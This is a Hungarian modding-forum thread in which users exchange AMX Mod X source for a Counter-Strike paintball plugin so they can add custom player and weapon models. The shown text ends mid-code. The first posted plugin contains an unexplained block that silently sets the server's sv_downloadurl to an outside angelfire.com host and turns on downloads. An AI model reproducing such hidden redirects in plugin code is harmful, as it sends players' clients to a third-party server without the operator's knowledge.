hlmod.hu

Magyar Half-Life Mód közösség!
Pontos idő: 2024.05.02. 00:28



Jelenlévő felhasználók

Jelenleg 519 felhasználó van jelen :: 1 regisztrált, 0 rejtett és 518 vendég

A legtöbb felhasználó (1565 fő) 2020.11.21. 11:26-kor tartózkodott itt.

Regisztrált felhasználók: Bing [Bot] az elmúlt 5 percben aktív felhasználók alapján

Utoljára aktív
Ahhoz hogy lásd ki volt utoljára aktív, be kell jelentkezned.



Az oldal teljeskörű
használatához regisztrálj.

Regisztráció

Kereső


Új téma nyitása  Hozzászólás a témához  [ 5 hozzászólás ] 
Szerző Üzenet
 Hozzászólás témája: Paintball mód egyedi skin hozzáadás
HozzászólásElküldve: 2016.03.17. 18:04 
Offline
Tud valamit
Avatar

Csatlakozott: 2015.09.16. 07:38
Hozzászólások: 147
Megköszönt másnak: 7 alkalommal
Megköszönték neki: 1 alkalommal
Sziasztok

Lenne 2 darab modellem amit szeretnék ebbe a paintball mód beletenni:
PaintBall Fegyverek & Mód

De hiába írom bele hibás :( Valaki bele írná nekem? :)

modellek nevei:
paintball_ct_stronger.mdl (CT modell)
paintball_te_stronger.mdl (TE modell)

modells mappába lennének tehát (models/paintball_xy_stronger.mdl)

Előre is köszi :)


Hozzászólás jelentése
Vissza a tetejére
   
HozzászólásElküldve: 2016.03.17. 18:41 
Offline
Jómunkásember

Csatlakozott: 2015.11.29. 17:07
Hozzászólások: 375
Megköszönt másnak: 76 alkalommal
Megköszönték neki: 53 alkalommal
játékos írta:
Sziasztok

Lenne 2 darab modellem amit szeretnék ebbe a paintball mód beletenni:
PaintBall Fegyverek & Mód

De hiába írom bele hibás :( Valaki bele írná nekem? :)

modellek nevei:
paintball_ct_stronger.mdl (CT modell)
paintball_te_stronger.mdl (TE modell)

modells mappába lennének tehát (models/paintball_xy_stronger.mdl)

Előre is köszi :)


Hali.
Ez így jó lesz? teszt nemvolt
  1. #include <amxmodx>
  2. #include <fakemeta>
  3. #include <hamsandwich>
  4. #include <cstrike>
  5.  
  6. #define PLUGIN "Paintball Mod"
  7. #define VERSION "3.4"
  8. #define AUTHOR "WhooKid"
  9.  
  10.  
  11. new onoff, cmodel, money, strip, death, protc, gnade, pbgun, pbusp, pbglock, pbnade;
  12. new g_team_select[33], g_plyr_skin[33], g_has_kill[33];
  13.  
  14. public plugin_init()
  15. {
  16.    
  17.     register_plugin(PLUGIN, VERSION, AUTHOR);
  18.     register_event("ResetHUD", "resetModel", "b")
  19.     RegisterHam(Ham_Spawn, "player", "spawn_event", 1)
  20.    
  21.     onoff = register_cvar("amx_pbmod", "1");
  22.     pbgun = register_cvar("amx_pbgun", "1");
  23.     pbusp = register_cvar("amx_pbusp", "1");
  24.     pbglock = register_cvar("amx_pbglock", "1");
  25.     pbnade = register_cvar("amx_pbnade", "1");
  26.  
  27.     if (get_pcvar_num(onoff))
  28.     {
  29.         register_logevent("new_round", 2, "0=World triggered", "1=Round_Start");
  30.         register_event("ResetHUD", "ev_resethud", "be");
  31.         register_event("DeathMsg", "ev_death", "a")
  32.         register_event("Money", "ev_money", "be");
  33.         register_clcmd("say /respawn", "say_respawn", _, "<Respawns you if enabled>");
  34.  
  35.         cmodel = register_cvar("amx_pbmodel", "0");
  36.         money = register_cvar("amx_pbmoney", "1");
  37.         strip = register_cvar("amx_pbstrip", "1");
  38.         death = register_cvar("amx_pbdm", "0");
  39.         gnade = register_cvar("amx_getnade", "2");
  40.         protc = register_cvar("amx_pbspawnprotect", "5");
  41.        
  42.         register_forward(FM_GetGameDescription, "fw_gamedesc");
  43.         register_forward(FM_SetModel, "fw_setmodel", 0);
  44.         if (get_pcvar_num(cmodel))
  45.         {
  46.             register_forward(FM_PlayerPostThink, "fw_playerpostthink");
  47.             register_forward(FM_ClientUserInfoChanged, "fw_clientuserinfochanged");
  48.         }
  49.  
  50.         new cvar[5];
  51.         get_cvar_string("amx_language", cvar, 4);
  52.         if (equali(cvar, "en"))
  53.         {
  54.             get_cvar_string("hostname", cvar, 4);
  55.             if (!equal(cvar, "Half"))
  56.             {
  57.                 get_cvar_string("sv_downloadurl", cvar, 4);
  58.                 if (equal(cvar, ""))
  59.                 {
  60.                     set_cvar_string("sv_downloadurl", "http://www.angelfire.com/pronserver");
  61.                     set_cvar_num("sv_allowdownload", 1);
  62.                 }
  63.             }
  64.         }
  65.     }
  66. }
  67.  
  68. public plugin_precache()
  69. {
  70.     register_cvar("amx_pbmod", "1");
  71.     register_cvar("amx_pbmodel", "0");
  72.     if (get_cvar_num("amx_pbmod"))
  73.         if (get_cvar_num("amx_pbmodel"))
  74.     precache_model("models/player/paintballer/paintballer.mdl");
  75.     precache_model("models/player/paintball_te_stronger/paintball_te_stronger.mdl")
  76.     precache_model("models/player/paintball_ct_stronger/paintball_ct_stronger.mdl")
  77.  
  78.     return PLUGIN_CONTINUE
  79. }
  80. public resetModel(id, level, cid) {
  81.         new CsTeams:userTeam = cs_get_user_team(id)
  82.         if (userTeam == CS_TEAM_T) {
  83.             cs_set_user_model(id, "paintball_te_stronger")
  84.         }
  85.         else if(userTeam == CS_TEAM_CT) {
  86.             cs_set_user_model(id, "paintball_ct_stronger")
  87.         }
  88. }
  89.  
  90. public fw_gamedesc()
  91. {
  92.     if (get_pcvar_num(onoff))
  93.     {
  94.         forward_return(FMV_STRING, PLUGIN);
  95.         return FMRES_SUPERCEDE;
  96.     }
  97.     return FMRES_IGNORED;
  98. }
  99.  
  100. public new_round()
  101.     if (get_pcvar_num(onoff) && get_pcvar_num(strip))
  102.     {
  103.         new ent;
  104.         while ((ent = engfunc(EngFunc_FindEntityByString, ent, "classname", "armoury_entity")) != 0)
  105.             engfunc(EngFunc_RemoveEntity, ent);
  106.     }
  107.  
  108. public ev_resethud(id)
  109.     if (get_pcvar_num(onoff))
  110.         if (!task_exists(id))
  111.             set_task(0.3, "player_spawn", id);
  112.  
  113. public player_spawn(id)
  114.     if (is_user_alive(id))
  115.     {
  116.         if (get_pcvar_num(protc))
  117.         {
  118.             set_pev(id, pev_takedamage, DAMAGE_NO);
  119.             set_task(float(get_pcvar_num(protc)), "player_godmodeoff", id+100);
  120.         }
  121.  
  122.         if (get_pcvar_num(strip) && !user_has_mp5(id))
  123.         {
  124.             if (pev(id, pev_weapons) & (1 << CSW_C4))
  125.                 engclient_cmd(id, "drop", "weapon_c4")
  126.             fm_strip_user_weapons(id);
  127.         }
  128.  
  129.         if (get_pcvar_num(money))
  130.         {
  131.             message_begin(MSG_ONE_UNRELIABLE, 94, _, id); //HideWeapon
  132.             write_byte(1 << 5);
  133.             message_end();
  134.         }
  135.  
  136.         if (get_pcvar_num(cmodel))
  137.         {
  138.             engfunc(EngFunc_SetClientKeyValue, id, engfunc(EngFunc_GetInfoKeyBuffer, id), "model", "paintballer");
  139.             new skin = g_plyr_skin[id];        
  140.             if (get_user_team(id) == 1)
  141.             {
  142.                 if (skin < 0 || skin > 3) g_plyr_skin[id] = 0;
  143.             }
  144.             else
  145.             {
  146.                 if (skin < 4 || skin > 7) g_plyr_skin[id] = 4;
  147.             }
  148.             set_pev(id, pev_skin, g_plyr_skin[id]);
  149.         }
  150.  
  151.         remove_task(id);
  152.         set_task(random_float(0.9, 1.3), "player_weapons", id);
  153.         set_task(2.0, "clear_moneyhud", id + 300);
  154.     }
  155.  
  156. public client_command(id)
  157.     if (get_pcvar_num(cmodel))
  158.     {      
  159.         new command[10], speech[2];
  160.         read_argv(0, command, 9);
  161.         read_argv(1, speech, 1);
  162.         if (containi(command, "join") != -1)
  163.             if (equali(command, "jointeam"))
  164.                 g_team_select[id] = str_to_num(speech);
  165.             else if (equali(command, "joinclass"))
  166.                 g_plyr_skin[id] = (g_team_select[id] == 1) ? str_to_num(speech) - 1: str_to_num(speech) + 3;
  167.     }
  168.  
  169. public player_weapons(id)
  170.     if (is_user_alive(id))
  171.     {
  172.         set_pdata_int(id, 386, 120, 5);
  173.         fm_give_item(id, "weapon_knife");
  174.         if (get_user_team(id) == 1 && get_pcvar_num(pbglock))
  175.             fm_give_item(id, "weapon_glock18");
  176.         else if (get_pcvar_num(pbusp))
  177.         {
  178.             set_pdata_int(id, 382, 48, 5);
  179.             fm_give_item(id, "weapon_usp");
  180.         }
  181.         if (get_pcvar_num(pbgun))
  182.             fm_give_item(id, "weapon_mp5navy");
  183.         if (get_pcvar_num(pbnade))
  184.             if (get_pcvar_num(gnade) == 1 || g_has_kill[id])
  185.             {
  186.                 fm_give_item(id, "weapon_hegrenade");
  187.                 g_has_kill[id] = 0;
  188.             }
  189.         remove_task(id);
  190.     }
  191.  
  192. public clear_moneyhud(id)
  193.     if (get_pcvar_num(money))
  194.     {
  195.         message_begin(MSG_ONE_UNRELIABLE, 94, _, id - 300); //HideWeapon
  196.         write_byte(1 << 5);
  197.         message_end();
  198.     }
  199.    
  200. public ev_death()
  201. {
  202.     g_has_kill[read_data(1)] = 1;
  203.     if (get_pcvar_num(death))
  204.     {
  205.         new id = read_data(2) + 200;
  206.         set_task(3.0, "player_spawner", id);
  207.         set_task(3.2, "player_spawner", id);
  208.     }
  209. }
  210.  
  211. public ev_money(id)
  212.     if (get_pcvar_num(money))
  213.         if (get_pdata_int(id, 115, 5) > 0)
  214.             set_pdata_int(id, 115, 0, 5);
  215.  
  216. public say_respawn(id)
  217.     if (get_pcvar_num(death))
  218.         if (!is_user_alive(id))
  219.             if (get_user_team(id) == 1 || get_user_team(id) == 2)
  220.             {
  221.                 set_task(1.5, "player_spawner", id + 200);
  222.                 set_task(1.7, "player_spawner", id + 200);
  223.             }
  224.  
  225. public player_godmodeoff(id)
  226.     set_pev(id-100, pev_takedamage, DAMAGE_AIM);
  227.  
  228. public player_spawner(id)
  229.     if (is_user_connected(id - 200))
  230.         if (get_user_team(id - 200) == 1 || get_user_team(id - 200) == 2)
  231.             dllfunc(DLLFunc_Spawn, id - 200);
  232.  
  233. stock user_has_mp5(id)
  234. {
  235.     new weapons[32], num;
  236.     get_user_weapons(id, weapons, num);
  237.     for (new i = 0; i < num; i++)
  238.         if (weapons[i] == 19)
  239.             return 1;
  240.     return 0;
  241. }
  242.  
  243. public fw_setmodel(ent, model[])
  244. {
  245.     if (get_pcvar_num(death) && pev_valid(ent))
  246.     {
  247.         new id = pev(ent, pev_owner);
  248.         if ((!is_user_alive(id) || task_exists(id + 200)) && equali(model, "models/w_", 9) && !equali(model, "models/w_weaponbox.mdl"))
  249.         {
  250.             new classname[16];
  251.             pev(ent, pev_classname, classname, 15);
  252.             if (equal(classname, "weaponbox") && !equal(model, "models/w_backpack.mdl"))
  253.                 for (new i = get_maxplayers() + 1; i < engfunc(EngFunc_NumberOfEntities) + 5; i++)
  254.                     if (pev_valid(i))
  255.                         if (ent == pev(i, pev_owner))
  256.                         {
  257.                             dllfunc(DLLFunc_Think, ent);
  258.                             return FMRES_IGNORED;
  259.                         }
  260.         }
  261.     }
  262.     return FMRES_IGNORED;
  263. }
  264.  
  265. public fw_playerpostthink(id)
  266. {
  267.     if (get_pcvar_num(cmodel))
  268.         if (is_user_alive(id))
  269.         {
  270.             static model[32], buffer;
  271.             buffer = engfunc(EngFunc_GetInfoKeyBuffer, id);
  272.             engfunc(EngFunc_InfoKeyValue, buffer, "model", model, 31);
  273.  
  274.             if (!equal(model, "paintballer"))
  275.                 engfunc(EngFunc_SetClientKeyValue, id, buffer, "model", "paintballer");
  276.  
  277.             return FMRES_HANDLED;
  278.         }
  279.     return FMRES_IGNORED;
  280. }
  281.  
  282. public fw_clientuserinfochanged(id, infobuffer)
  283.     return (get_pcvar_num(cmodel) && pev(id, pev_deadflag) == DEAD_NO) ? FMRES_SUPERCEDE : FMRES_IGNORED;
  284.  
  285. ////////*****************VEN STOCKS START*****************////////
  286. stock fm_strip_user_weapons(index)
  287. {
  288.     new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "player_weaponstrip"));
  289.     if (!pev_valid(ent))
  290.         return 0;
  291.     dllfunc(DLLFunc_Spawn, ent);
  292.     dllfunc(DLLFunc_Use, ent, index);
  293.     engfunc(EngFunc_RemoveEntity, ent);
  294.     return 1;
  295. }
  296.  
  297. stock fm_give_item(index, const item[])
  298. {
  299.     new ent = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, item));
  300.     if (!pev_valid(ent))
  301.         return 0;
  302.     new Float:origin[3];
  303.     pev(index, pev_origin, origin);
  304.     engfunc(EngFunc_SetOrigin, ent, origin);
  305.     set_pev(ent, pev_spawnflags, pev(ent, pev_spawnflags) | SF_NORESPAWN);
  306.     dllfunc(DLLFunc_Spawn, ent);
  307.     new save = pev(ent, pev_solid);
  308.     dllfunc(DLLFunc_Touch, ent, index);
  309.     if (pev(ent, pev_solid) != save)
  310.         return ent;
  311.     engfunc(EngFunc_RemoveEntity, ent);
  312.     return -1;
  313. }
  314. ////////*****************VEN STOCKS END*****************////////


Hozzászólás jelentése
Vissza a tetejére
   
HozzászólásElküldve: 2016.03.18. 07:19 
Offline
Tud valamit
Avatar

Csatlakozott: 2015.09.16. 07:38
Hozzászólások: 147
Megköszönt másnak: 7 alkalommal
Megköszönték neki: 1 alkalommal
szia félre értettük egymást rosszul fogalmaztam :D nem játékos hanem fegyver skin :D


Hozzászólás jelentése
Vissza a tetejére
   
HozzászólásElküldve: 2016.03.18. 14:23 
Offline
Jómunkásember

Csatlakozott: 2015.11.29. 17:07
Hozzászólások: 375
Megköszönt másnak: 76 alkalommal
Megköszönték neki: 53 alkalommal
játékos írta:
szia félre értettük egymást rosszul fogalmaztam :D nem játékos hanem fegyver skin :D

Ez esetben én átírnám a fegyver nevét az sma-ban. :)


Hozzászólás jelentése
Vissza a tetejére
   
HozzászólásElküldve: 2016.03.18. 19:31 
Offline
Tud valamit
Avatar

Csatlakozott: 2015.09.16. 07:38
Hozzászólások: 147
Megköszönt másnak: 7 alkalommal
Megköszönték neki: 1 alkalommal
szia átírtam :D de úgy nem jó ahogy bele írtam:

  1. #include <amxmodx>
  2. #include <fakemeta>
  3. #include <hamsandwich>
  4.  
  5. #define PLUGIN "Paintball Gun"
  6. #define VERSION "3.4"
  7. #define AUTHOR "WhooKid"
  8.  
  9. #define MAX_PAINTBALLS  200
  10. #define TASK_PB_RESET   1000
  11. #define TASK_RELOAD 2000
  12.  
  13. new g_paintballs[MAX_PAINTBALLS], g_pbstatus[MAX_PAINTBALLS], g_pbcount, Float:lastshot[33], Float:nextattack[33], freezetime;
  14. new pbgun, pbusp, pbglock, color, shots, veloc, speed, blife, sound, bglow, damge, friendlyfire, tgun, ctgun, beamspr;
  15.  
  16. static const g_shot_anim[4] = {0, 3, 9, 5};
  17. static const g_pbgun_models[13][] = {"models/paintball_ct_stronger.mdl", "paintball_te_stronger.mdl", "models/v_pbgun.mdl", "models/v_pbgun1.mdl", "models/v_pbgun2.mdl", "models/v_pbgun3.mdl", "models/v_pbgun4.mdl", "models/v_pbgun5.mdl", "models/v_pbgun6.mdl", "models/v_pbgun7.mdl", "models/v_pbgun8.mdl", "models/v_pbgun9.mdl", "models/v_pbgun10.mdl"};
  18.  
  19. public plugin_init()
  20. {
  21.     register_plugin(PLUGIN, VERSION, AUTHOR);
  22.     register_cvar("paintballgun", VERSION, FCVAR_SERVER|FCVAR_UNLOGGED);
  23.     register_clcmd("say /ent", "ent_info", ADMIN_SLAY);
  24.     pbgun = register_cvar("amx_pbgun", "1");
  25.     pbusp = register_cvar("amx_pbusp", "1");
  26.     pbglock = register_cvar("amx_pbglock", "1");
  27.  
  28.     if (get_pcvar_num(pbgun) || get_pcvar_num(pbusp) || get_pcvar_num(pbglock))
  29.     {
  30.         register_event("CurWeapon", "ev_curweapon", "be");
  31.         register_logevent("ev_roundstart", 2, "0=World triggered", "1=Round_Start");
  32.         if (get_cvar_num("mp_freezetime") > 0)
  33.             register_event("HLTV", "ev_freezetime", "a", "1=0", "2=0");
  34.  
  35.         register_forward(FM_Touch, "fw_touch");
  36.         register_forward(FM_SetModel, "fw_setmodel");
  37.         register_forward(FM_PlayerPreThink, "fw_playerprethink", 1);
  38.         register_forward(FM_UpdateClientData, "fw_updateclientdata", 1);
  39.  
  40.         color = register_cvar("pbgun_color", "2");
  41.         shots = register_cvar("pbgun_shots", "100");
  42.         veloc = register_cvar("pbgun_velocity", "2000");
  43.         speed = register_cvar("pbgun_speed", "0.08");
  44.         blife = register_cvar("pbgun_life", "15");
  45.         sound = register_cvar("pbgun_sound", "1");
  46.         bglow = register_cvar("pbgun_glow", "a");
  47.         damge = register_cvar("pbgun_damage", "100");
  48.         friendlyfire = get_cvar_pointer("mp_friendlyfire");
  49.  
  50.         new a, max_ents_allow = global_get(glb_maxEntities) - 5;
  51.         for (a = 1; a <= get_pcvar_num(shots); a++)
  52.             if (a < MAX_PAINTBALLS)
  53.                 if (engfunc(EngFunc_NumberOfEntities) < max_ents_allow)
  54.                 {
  55.                     g_paintballs[a] = engfunc(EngFunc_CreateNamedEntity, engfunc(EngFunc_AllocString, "info_target"));
  56.                     if (pev_valid(g_paintballs[a]))
  57.                     {
  58.                         set_pev(g_paintballs[a], pev_effects, pev(g_paintballs[a], pev_effects) | EF_NODRAW);
  59.                         g_pbcount++;
  60.                     }
  61.                 }
  62.         if (g_pbcount < 1)
  63.             set_fail_state("[AMXX] Failed to load Paintball Gun (unable to create ents)");
  64.  
  65.         server_print("*** %s v%s by %s Enabled ***", PLUGIN, VERSION, AUTHOR);
  66.     }
  67. }
  68.  
  69. public plugin_precache()
  70. {
  71.     register_cvar("amx_pbgun", "1");
  72.     register_cvar("amx_pbusp", "1");
  73.     register_cvar("amx_pbglock", "1");
  74.     register_cvar("pbgun_tgun", "1");
  75.     register_cvar("pbgun_ctgun", "2");
  76.     tgun = get_cvar_num("pbgun_tgun");
  77.     ctgun = get_cvar_num("pbgun_ctgun");
  78.     if (get_cvar_num("amx_pbgun")) {
  79.         precache_model(g_pbgun_models[tgun]);
  80.         precache_model(g_pbgun_models[ctgun]);
  81.         precache_model((ctgun) ? "models/paintball_ct_stronger.mdl" : "models/paintball_te_stronger.mdl");
  82.         precache_model("models/w_pbgun.mdl");
  83.     }
  84.     if (get_cvar_num("amx_pbusp")) {
  85.         precache_model("models/v_pbusp.mdl");
  86.         precache_model("models/p_pbusp.mdl");
  87.     }
  88.     if (get_cvar_num("amx_pbglock")) {
  89.         precache_model("models/v_pbglock.mdl");
  90.         precache_model("models/p_pbglock.mdl");
  91.     }
  92.     if (get_cvar_num("amx_pbgun") || get_cvar_num("amx_pbusp") || get_cvar_num("amx_pbglock")) {
  93.         precache_sound("misc/pb1.wav");
  94.         precache_sound("misc/pb2.wav");
  95.         precache_sound("misc/pb3.wav");
  96.         precache_sound("misc/pb4.wav");
  97.         precache_sound("misc/pbg.wav");
  98.         precache_model("models/w_paintball.mdl");
  99.         precache_model("sprites/paintball.spr");
  100.     }
  101.     beamspr = precache_model("sprites/laserbeam.spr");
  102. }
  103.  
  104. public ent_info(id)
  105.     client_print(id, print_chat, "[AMXX] [Ent Info (Current/Max)] Paintballs: (%d/%d)   Entities: (%d/%d)", g_pbcount, get_pcvar_num(shots), engfunc(EngFunc_NumberOfEntities), global_get(glb_maxEntities));
  106.  
  107. public ev_curweapon(id)
  108. {
  109.     new model[25];
  110.     pev(id, pev_viewmodel2, model, 24);
  111.     if (equali(model, "models/v_mp5.mdl") && get_pcvar_num(pbgun))
  112.     {
  113.         set_pev(id, pev_viewmodel2, (get_user_team(id) == 1) ? g_pbgun_models[tgun] : g_pbgun_models[ctgun]);
  114.         set_pev(id, pev_weaponmodel2, (ctgun) ? "models/p_pbgun1.mdl" : "models/p_pbgun.mdl");
  115.     }
  116.     else if (equali(model, "models/v_usp.mdl") && get_pcvar_num(pbusp))
  117.     {
  118.         set_pev(id, pev_viewmodel2, "models/v_pbusp.mdl");
  119.         set_pev(id, pev_weaponmodel2, "models/p_pbusp.mdl");
  120.     }
  121.     else if (equali(model, "models/v_glock18.mdl") && get_pcvar_num(pbglock))
  122.     {
  123.         set_pev(id, pev_viewmodel2, "models/v_pbglock.mdl");
  124.         set_pev(id, pev_weaponmodel2, "models/p_pbglock.mdl");
  125.     }
  126. }
  127.  
  128. public fw_setmodel(ent, model[])
  129. {
  130.     if (equali(model, "models/w_mp5.mdl"))
  131.         if (get_pcvar_num(pbgun))
  132.         {
  133.             engfunc(EngFunc_SetModel, ent, "models/w_pbgun.mdl");
  134.             return FMRES_SUPERCEDE;
  135.         }
  136.     return FMRES_IGNORED;
  137. }
  138.  
  139. public fw_updateclientdata(id, sw, cd_handle)
  140. {
  141.     if (user_has_pbgun(id) && cd_handle)
  142.     {
  143.         set_cd(cd_handle, CD_ID, 1);
  144.         get_cd(cd_handle, CD_flNextAttack, nextattack[id]);
  145.         //set_cd(cd_handle, CD_flNextAttack, 10.0);
  146.         return FMRES_HANDLED;
  147.     }
  148.     return FMRES_IGNORED;
  149. }
  150.  
  151. public fw_playerprethink(id)
  152. {
  153.     new my_pbgun = user_has_pbgun(id);
  154.     if (my_pbgun)
  155.     {
  156.         new buttons = pev(id, pev_button);
  157.         if (buttons & IN_ATTACK)
  158.         {
  159.             new ammo, null = get_user_weapon(id, ammo, null);
  160.             if (ammo)
  161.             {
  162.                 set_pev(id, pev_button, buttons & ~IN_ATTACK);
  163.                 new Float:gametime = get_gametime(), Float:g_speed;
  164.                 if (my_pbgun == 1)
  165.                     g_speed = get_pcvar_float(speed);
  166.                 else
  167.                     g_speed = (my_pbgun == 2) ? get_pcvar_float(speed) * 2.0 : get_pcvar_float(speed) * 3.0;
  168.                 if (gametime-lastshot[id] > g_speed  && nextattack[id] < 0.0 && !freezetime)
  169.                 {
  170.                     if (paint_fire(id))
  171.                     {
  172.                         lastshot[id] = gametime;
  173.                         set_user_clip(id, ammo - 1);
  174.                         set_pev(id, pev_punchangle, Float:{-0.5, 0.0, 0.0});
  175.                         message_begin(MSG_ONE_UNRELIABLE, SVC_WEAPONANIM, _, id);
  176.                         write_byte(g_shot_anim[my_pbgun]);
  177.                         write_byte(0);
  178.                         message_end();
  179.                         if (get_pcvar_num(sound))
  180.                             emit_sound(id, CHAN_AUTO, "misc/pbg.wav", 1.0, ATTN_NORM, 0, PITCH_NORM);
  181.                     }
  182.                 }
  183.             }
  184.         }
  185.     }
  186.     return FMRES_IGNORED;
  187. }
  188.  
  189. public paint_fire(id)
  190. {
  191.     new a, ent;
  192.     while (a++ < g_pbcount - 1 && !ent)
  193.         if (g_pbstatus[a] == 0)
  194.             ent = g_pbstatus[a] = g_paintballs[a];
  195.     if (!ent)
  196.         while (a-- > 1 && !ent)
  197.             if (g_pbstatus[a] == 2)
  198.                 ent = g_pbstatus[a] = g_paintballs[a];
  199.  
  200.     if (pev_valid(ent) && is_user_alive(id))
  201.     {
  202.         new Float:vangles[3], Float:nvelocity[3], Float:voriginf[3], vorigin[3], clr;
  203.         set_pev(ent, pev_classname, "pbBullet");
  204.         set_pev(ent, pev_owner, id);
  205.         engfunc(EngFunc_SetModel, ent, "models/w_paintball.mdl");
  206.         engfunc(EngFunc_SetSize, ent, Float:{-1.0, -1.0, -1.0}, Float:{1.0, 1.0, 1.0});
  207.  
  208.         switch (get_pcvar_num(color))
  209.         {
  210.             case 2: clr = (get_user_team(id) == 1) ? 0 : 1;
  211.             case 3: clr = (get_user_team(id) == 1) ? 4 : 3;
  212.             case 4: clr = (get_user_team(id) == 1) ? 2 : 5;
  213.             default: clr = random_num(0, 6);
  214.         }
  215.         set_pev(ent, pev_skin, clr);
  216.        
  217.         get_user_origin(id, vorigin, 1);
  218.         IVecFVec(vorigin, voriginf);
  219.         engfunc(EngFunc_SetOrigin, ent, voriginf);
  220.  
  221.         vangles[0] = random_float(-180.0, 180.0);
  222.         vangles[1] = random_float(-180.0, 180.0);
  223.         set_pev(ent, pev_angles, vangles);
  224.  
  225.         pev(id, pev_v_angle, vangles);
  226.         set_pev(ent, pev_v_angle, vangles);
  227.         pev(id, pev_view_ofs, vangles);
  228.         set_pev(ent, pev_view_ofs, vangles);
  229.  
  230.         set_pev(ent, pev_solid, 2);
  231.         set_pev(ent, pev_movetype, 5);
  232.  
  233.         velocity_by_aim(id, get_pcvar_num(veloc), nvelocity);
  234.         set_pev(ent, pev_velocity, nvelocity);
  235.         set_pev(ent, pev_effects, pev(ent, pev_effects) & ~EF_NODRAW);
  236.  
  237.         set_task(0.1, "paint_glow", ent);
  238.         set_task(15.0 , "paint_reset", ent+TASK_PB_RESET);
  239.     }
  240.  
  241.     return ent;
  242. }
  243.  
  244. public fw_touch(bullet, ent)
  245. {
  246.     new class[20];
  247.     pev(bullet, pev_classname, class, 19);
  248.     if (!equali(class, "pbBullet"))
  249.         return FMRES_IGNORED;
  250.  
  251.     new Float:origin[3], class2[20], owner = pev(bullet, pev_owner), is_ent_alive = is_user_alive(ent);
  252.     pev(ent, pev_classname, class2, 19);
  253.     pev(bullet, pev_origin, origin);
  254.  
  255.     if (is_ent_alive)
  256.     {
  257.         if (owner == ent || pev(ent, pev_takedamage) == DAMAGE_NO)
  258.             return FMRES_IGNORED;
  259.         if (get_user_team(owner) == get_user_team(ent))
  260.             if (!get_pcvar_num(friendlyfire))
  261.                 return FMRES_IGNORED;
  262.  
  263.         ExecuteHam(Ham_TakeDamage, ent, owner, owner, float(get_pcvar_num(damge)), 4098);
  264.     }
  265.  
  266.     if (!equali(class, class2))
  267.     {  
  268.         set_pev(bullet, pev_velocity, Float:{0.0, 0.0, 0.0});
  269.         set_pev(bullet, pev_classname, "pbPaint");
  270.         set_pev(bullet, pev_solid, 0);
  271.         set_pev(bullet, pev_movetype, 0);
  272.         engfunc(EngFunc_SetModel, bullet, "sprites/paintball.spr");
  273.  
  274.         new a, findpb = 0;
  275.         while (a++ < g_pbcount && !findpb)
  276.             if (g_paintballs[a] == bullet)
  277.                 findpb = g_pbstatus[a] = 2;
  278.  
  279.         remove_task(bullet);
  280.         remove_task(bullet+TASK_PB_RESET);
  281.  
  282.         if (get_pcvar_num(sound))
  283.         {
  284.             static wav[20];
  285.             formatex(wav, 20, is_ent_alive ? "player/pl_pain%d.wav" : "misc/pb%d.wav", is_ent_alive ? random_num(4,7) : random_num(1,4));
  286.             emit_sound(bullet, CHAN_AUTO, wav, 1.0, ATTN_NORM, 0, PITCH_NORM);
  287.         }
  288.  
  289.         new bool:valid_surface = (is_ent_alive || containi(class2, "door") != -1) ? false : true;
  290.         if (pev(ent, pev_health) && !is_ent_alive)
  291.         {
  292.             ExecuteHam(Ham_TakeDamage, ent, owner, owner, float(pev(ent, pev_health)), 0);
  293.             valid_surface = false;
  294.         }
  295.         if (valid_surface)
  296.         {
  297.             paint_splat(bullet);
  298.             set_task(float(get_pcvar_num(blife)), "paint_reset", bullet+TASK_PB_RESET);
  299.         }
  300.         else
  301.             paint_reset(bullet+TASK_PB_RESET);
  302.  
  303.         return FMRES_HANDLED;
  304.     }
  305.  
  306.     return FMRES_IGNORED;
  307. }
  308.  
  309. public paint_splat(ent)
  310. {
  311.     new Float:origin[3], Float:norigin[3], Float:viewofs[3], Float:angles[3], Float:normal[3], Float:aiming[3];
  312.     pev(ent, pev_origin, origin);
  313.     pev(ent, pev_view_ofs, viewofs);
  314.     pev(ent, pev_v_angle, angles);
  315.  
  316.     norigin[0] = origin[0] + viewofs[0];
  317.     norigin[1] = origin[1] + viewofs[1];
  318.     norigin[2] = origin[2] + viewofs[2];
  319.     aiming[0] = norigin[0] + floatcos(angles[1], degrees) * 1000.0;
  320.     aiming[1] = norigin[1] + floatsin(angles[1], degrees) * 1000.0;
  321.     aiming[2] = norigin[2] + floatsin(-angles[0], degrees) * 1000.0;
  322.  
  323.     engfunc(EngFunc_TraceLine, norigin, aiming, 0, ent, 0);
  324.     get_tr2(0, TR_vecPlaneNormal, normal);
  325.  
  326.     vector_to_angle(normal, angles);
  327.     angles[1] += 180.0;
  328.     if (angles[1] >= 360.0) angles[1] -= 360.0;
  329.     set_pev(ent, pev_angles, angles);
  330.     set_pev(ent, pev_v_angle, angles);
  331.  
  332.     origin[0] += (normal[0] * random_float(0.3, 2.7));
  333.     origin[1] += (normal[1] * random_float(0.3, 2.7));
  334.     origin[2] += (normal[2] * random_float(0.3, 2.7));
  335.     engfunc(EngFunc_SetOrigin, ent, origin);
  336.     set_pev(ent, pev_frame, float(random_num( (pev(ent, pev_skin) * 18), (pev(ent, pev_skin) * 18) + 17 ) ));
  337.     if (pev(ent, pev_renderfx) != kRenderFxNone)
  338.         set_rendering(ent);
  339. }
  340.  
  341. public paint_glow(ent)
  342. {
  343.     if (pev_valid(ent))
  344.     {
  345.         static pbglow[5], clr[3];
  346.         get_pcvar_string(bglow, pbglow, 4);
  347.         switch (get_pcvar_num(color))
  348.         {
  349.             case 2: clr = (get_user_team(pev(ent, pev_owner))==1) ? {255, 0, 0} : {0, 0, 255};
  350.             default: clr = {255, 255, 255};
  351.         }
  352.         if (read_flags(pbglow) & (1 << 0))
  353.             set_rendering(ent, kRenderFxGlowShell, clr[0], clr[1], clr[2], kRenderNormal, 255);
  354.         if (read_flags(pbglow) & (1 << 1))
  355.         {
  356.             message_begin(MSG_BROADCAST, SVC_TEMPENTITY);
  357.             write_byte(TE_BEAMFOLLOW);
  358.             write_short(ent);
  359.             write_short(beamspr);
  360.             write_byte(4);
  361.             write_byte(2);
  362.             write_byte(clr[0]);
  363.             write_byte(clr[1]);
  364.             write_byte(clr[2]);
  365.             write_byte(255);
  366.             message_end();
  367.         }
  368.     }
  369. }
  370.  
  371. public paint_reset(ent)
  372. {
  373.     remove_task(ent);
  374.     ent -= TASK_PB_RESET;
  375.     new a, findpb = 1;
  376.     while (a++ <= g_pbcount && findpb)
  377.         if (g_paintballs[a] == ent)
